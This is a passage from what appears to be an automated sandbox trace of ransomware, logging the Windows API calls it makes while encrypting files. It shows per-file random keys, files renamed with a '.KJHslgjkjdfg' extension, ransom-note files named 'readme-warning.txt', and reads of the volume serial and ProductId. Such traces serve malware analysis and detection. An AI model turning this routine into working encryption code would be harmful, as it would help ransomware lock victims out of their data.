hHeap=0x990000) returned 1 [0164.732] GetProcessHeap () returned 0x990000 [0164.732] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.732] GetProcessHeap () returned 0x990000 [0164.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.732] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.732] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.732] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.732] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.732] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.733] GetProcessHeap () returned 0x990000 [0164.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.733] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.733] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.733] GetProcessHeap () returned 0x990000 [0164.733] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.733] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt") returned 106 [0164.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.742] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.743] CloseHandle (hObject=0x114) returned 1 [0164.744] GetProcessHeap () returned 0x990000 [0164.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.744] GetProcessHeap () returned 0x990000 [0164.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.744] GetProcessHeap () returned 0x990000 [0164.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.744] GetProcessHeap () returned 0x990000 [0164.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.744] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.745] GetProcessHeap () returned 0x990000 [0164.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.745] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0164.745] GetProcessHeap () returned 0x990000 [0164.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xcc) returned 0x9b2468 [0164.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.747] GetProcessHeap () returned 0x990000 [0164.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.747] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.747] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0164.747] GetProcessHeap () returned 0x990000 [0164.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ce) returned 0x9b7e10 [0164.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.748] GetProcessHeap () returned 0x990000 [0164.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.748] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.748] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.751] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.751] GetProcessHeap () returned 0x990000 [0164.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.751] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.751] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.751] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.751] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.751] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.752] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.752] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.752] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5ac, lpOverlapped=0x0) returned 1 [0164.752] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5b0, lpOverlapped=0x0) returned 1 [0164.753] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.753] SetEndOfFile (hFile=0x114) returned 1 [0164.756] GetProcessHeap () returned 0x990000 [0164.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.756] GetProcessHeap () returned 0x990000 [0164.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0164.757] CloseHandle (hObject=0x114) returned 1 [0164.762] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.767] GetProcessHeap () returned 0x990000 [0164.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.768] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.768] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.768] GetProcessHeap () returned 0x990000 [0164.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.768] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.768] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.768] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.771] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.771] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.771] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.772] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.772] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.772] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x750, lpOverlapped=0x0) returned 1 [0164.772] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x750, dwBufLen=0x750 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x750) returned 1 [0164.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.772] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x750, lpOverlapped=0x0) returned 1 [0164.772] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.772] SetEndOfFile (hFile=0x114) returned 1 [0164.775] GetProcessHeap () returned 0x990000 [0164.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.775] GetProcessHeap () returned 0x990000 [0164.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.780] CloseHandle (hObject=0x114) returned 1 [0164.780] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.780] GetProcessHeap () returned 0x990000 [0164.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.780] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.780] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.780] GetProcessHeap () returned 0x990000 [0164.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.780] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.780] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.780] GetProcessHeap () returned 0x990000 [0164.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.780] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.781] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.781] GetProcessHeap () returned 0x990000 [0164.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.781] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.781] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.781] GetProcessHeap () returned 0x990000 [0164.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.781] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.781] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.781] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.781] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.781] RegCloseKey (hKey=0x114) returned 0x0 [0164.781] GetProcessHeap () returned 0x990000 [0164.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.781] GetProcessHeap () returned 0x990000 [0164.782] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.782] GetProcessHeap () returned 0x990000 [0164.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.782] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.782] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.782] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.782] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.782] GetProcessHeap () returned 0x990000 [0164.782] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.782] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.782] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.782] GetProcessHeap () returned 0x990000 [0164.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.782] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt") returned 112 [0164.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.789] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.790] CloseHandle (hObject=0x114) returned 1 [0164.790] GetProcessHeap () returned 0x990000 [0164.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.790] GetProcessHeap () returned 0x990000 [0164.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.790] GetProcessHeap () returned 0x990000 [0164.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.790] GetProcessHeap () returned 0x990000 [0164.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.790] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.790] GetProcessHeap () returned 0x990000 [0164.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.790] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 